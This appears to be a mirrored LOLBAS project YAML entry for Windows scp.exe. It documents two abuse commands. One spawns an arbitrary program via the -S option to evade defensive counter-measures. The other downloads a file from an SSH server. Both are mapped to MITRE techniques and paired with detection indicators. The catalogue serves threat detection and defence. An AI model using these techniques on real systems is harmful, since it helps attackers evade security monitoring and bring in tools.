mirror of
https://github.com/LOLBAS-Project/LOLBAS
synced 2025-01-03 18:42:01 +01:00
29 lines
1.0 KiB
YAML
29 lines
1.0 KiB
YAML
|
---
|
||
|
|
Name: scp.exe
|
||
|
|
Description: Secure Copy Protocol
|
||
|
|
Author: Nir Chako
|
||
|
|
Created: 2022-11-06
|
||
|
|
Commands:
|
||
|
|
- Command: 'scp -S "C:\windows\system32\notepad.exe" file.txt localhost:'
|
||
|
|
Description: Execute notepad.exe with scp.exe as parent process
|
||
|
|
Usecase: Use scp.exe as a proxy binary to evade defensive counter-measures
|
||
|
|
Category: Execute
|
||
|
|
Privileges: User
|
||
|
|
MitreID: T1202
|
||
|
|
OperatingSystem: Windows 10, Windows 11
|
||
|
|
- Command: "scp <ssh-username>@192.168.187.128:<path_of_file_to_download> <path_to_save_file>"
|
||
|
|
Description: Download file with scp.exe from am SSH server
|
||
|
|
Usecase: Use scp.exe to download file from an SSH server. If needed, you will be asked to submit a password as well.
|
||
|
|
Category: Download
|
||
|
|
Privileges: User
|
||
|
|
MitreID: T1105
|
||
|
|
OperatingSystem: Windows 10, Windows 11
|
||
|
|
Full_Path:
|
||
|
|
- Path: c:\windows\system32\OpenSSH\scp.exe
|
||
|
|
Detection:
|
||
|
|
- IOC: scp.exe spawning unexpected processes
|
||
|
|
- IOC: Suspicious SSH internet/network traffic
|
||
|
|
Acknowledgement:
|
||
|
|
- Person: 'Nir Chako (Pentera)'
|
||
|
|
Handle: '@C_h4ck_0'
|